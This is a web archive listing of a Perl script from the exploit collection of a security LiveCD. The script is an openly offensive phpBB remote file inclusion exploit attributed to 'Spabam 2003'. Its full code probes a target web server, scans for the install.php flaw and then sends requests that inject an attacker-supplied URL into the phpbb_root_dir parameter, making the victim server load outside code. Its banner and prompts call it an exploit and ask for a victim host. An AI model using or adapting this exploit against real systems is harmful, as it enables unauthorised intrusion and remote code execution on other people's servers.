home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / phpbb / phpbb.pl < prev    next >
Text File  |  2005-02-12  |  3KB  |  162 lines
  1. #####################################################
  2. # Spabam 2003 PRIV8 code
  3. # #hackarena irc.brasnet.org
  4. # This Script is currently under development
  5. #####################################################
  6. use strict;
  7. use IO::Socket;
  8. my $host;
  9. my $port;
  10. my $command;
  11. my $url;
  12. my @results;
  13. my $probe;
  14. my @U;
  15. $U[1] = "/phpbb2/install.php?phpbb_root_dir=http://";
  16. &intro;
  17. &scan;
  18. &choose;
  19. &command;
  20. &exit;
  21. sub intro {
  22. &help;
  23. &host;
  24. &server;
  25. sleep 3;
  26. };
  27. sub host {
  28. print "\nHost or IP : ";
  29. $host=<STDIN>;
  30. chomp $host;
  31. if ($host eq ""){$host="127.0.0.1"};
  32. $port="80";
  33. chomp $port;
  34. if ($port =~/\D/ ){$port="80"};
  35. if ($port eq "" ) {$port = "80"};
  36. };
  37. sub server {
  38. my $X;
  39. print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
  40. $probe = "string";
  41. my $output;
  42. my $webserver = "something";
  43. &connect;
  44. for ($X=0; $X<=10; $X++){
  45.     $output = $results[$X];
  46.     if (defined $output){
  47.     if ($output =~/Apache/){ $webserver = "Apache" };
  48.     };
  49. };
  50. if ($webserver ne "Apache"){
  51. my $choice = "y";
  52. chomp $choice;
  53. if ($choice =~/N/i) {&exit};
  54.             }else{
  55. print "\n\nOK";
  56.     };        
  57. };  
  58. sub scan {
  59. my $status = "not_vulnerable";
  60. print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
  61. my $loop;
  62. my $output;
  63. my $flag;
  64. $command="dir";
  65. for ($loop=1; $loop < @U; $loop++) { 
  66. $flag = "0";
  67. $url = $U[$loop];
  68. $probe = "scan";
  69. &connect;
  70. foreach $output (@results){
  71. if ($output =~ /Directory/) {
  72.                               $flag = "1";
  73.                   $status = "vulnerable";
  74.                   };
  75.     };
  76. if ($flag eq "0") { 
  77. }else{
  78. print "\a\a\a\n$host VULNERABLE TO CPANEL 5 $loop !!!";
  79.      };
  80. };
  81. if ($status eq "not_vulnerable"){
  82.  
  83.                 };
  84. };
  85. sub choose {
  86. my $choice="0";
  87. chomp $choice;
  88. if ($choice > @U){ &choose };
  89. if ($choice =~/\D/g ){ &choose };
  90. if ($choice == 0){ &other };
  91. $url = $U[$choice];
  92. };
  93. sub other {
  94. my $other = "/phpbb2/install.php?phpbb_root_dir=http://";
  95. chomp $other;
  96. $U[0] = $other;
  97. };
  98. sub command {
  99. while ($command !~/quit/i) {
  100. print "\nWRITE YA PAGE IMAGE HERE: http://";
  101. $command = <STDIN>;
  102. chomp $command;
  103. if ($command =~/quit/i) { &exit };
  104. if ($command =~/url/i) { &choose }; 
  105. if ($command =~/scan/i) { &scan };
  106. if ($command =~/help/i) { &help };
  107. $command =~ s/\s/+/g; 
  108. $probe = "command";
  109. if ($command !~/quit|url|scan|help/) {&connect};
  110. };
  111. &exit;
  112. };  
  113. sub connect {
  114. my $connection = IO::Socket::INET->new (
  115.                 Proto => "tcp",
  116.                 PeerAddr => "$host",
  117.                 PeerPort => "$port",
  118.                 ) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n";
  119. $connection -> autoflush(1);
  120. if ($probe =~/command|scan/){
  121. print $connection "GET $url$command HTTP/1.0\r\n\r\n";
  122. }elsif ($probe =~/string/) {
  123. print $connection "HEAD / HTTP/1.0\r\n\r\n";
  124. };
  125.  
  126. while ( <$connection> ) { 
  127.             @results = <$connection>;
  128.              };
  129. close $connection;
  130. if ($probe eq "command"){ &output };
  131. if ($probe eq "string"){ &output };
  132. };  
  133. sub output{
  134. my $display;
  135. if ($probe eq "string") {
  136.             my $X;
  137.             for ($X=0; $X<=10; $X++) {
  138.             $display = $results[$X];
  139.             if (defined $display){print "$display";};
  140.             sleep 1;
  141.                 };
  142.             }else{
  143.             foreach $display (@results){
  144.                 print "$display";
  145.                 sleep 1;
  146.                 };
  147.                           };
  148. };  
  149. sub exit{
  150. print "\n\n\n
  151. SPABAM 2003.";
  152. print "\n\n\n";
  153. exit;
  154. };
  155. sub help {
  156. print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
  157. print "\n PHPBB LAMAH EXPLOIT!!!";
  158. print "\n spabam make this shit..";
  159. print "\n Host: www.victim.com or xxx.xxx.xxx.xxx (RETURN for 127.0.0.1)";
  160. print "\n\n\n\n\n\n\n\n\n\n\n\n";
  161. };
  162.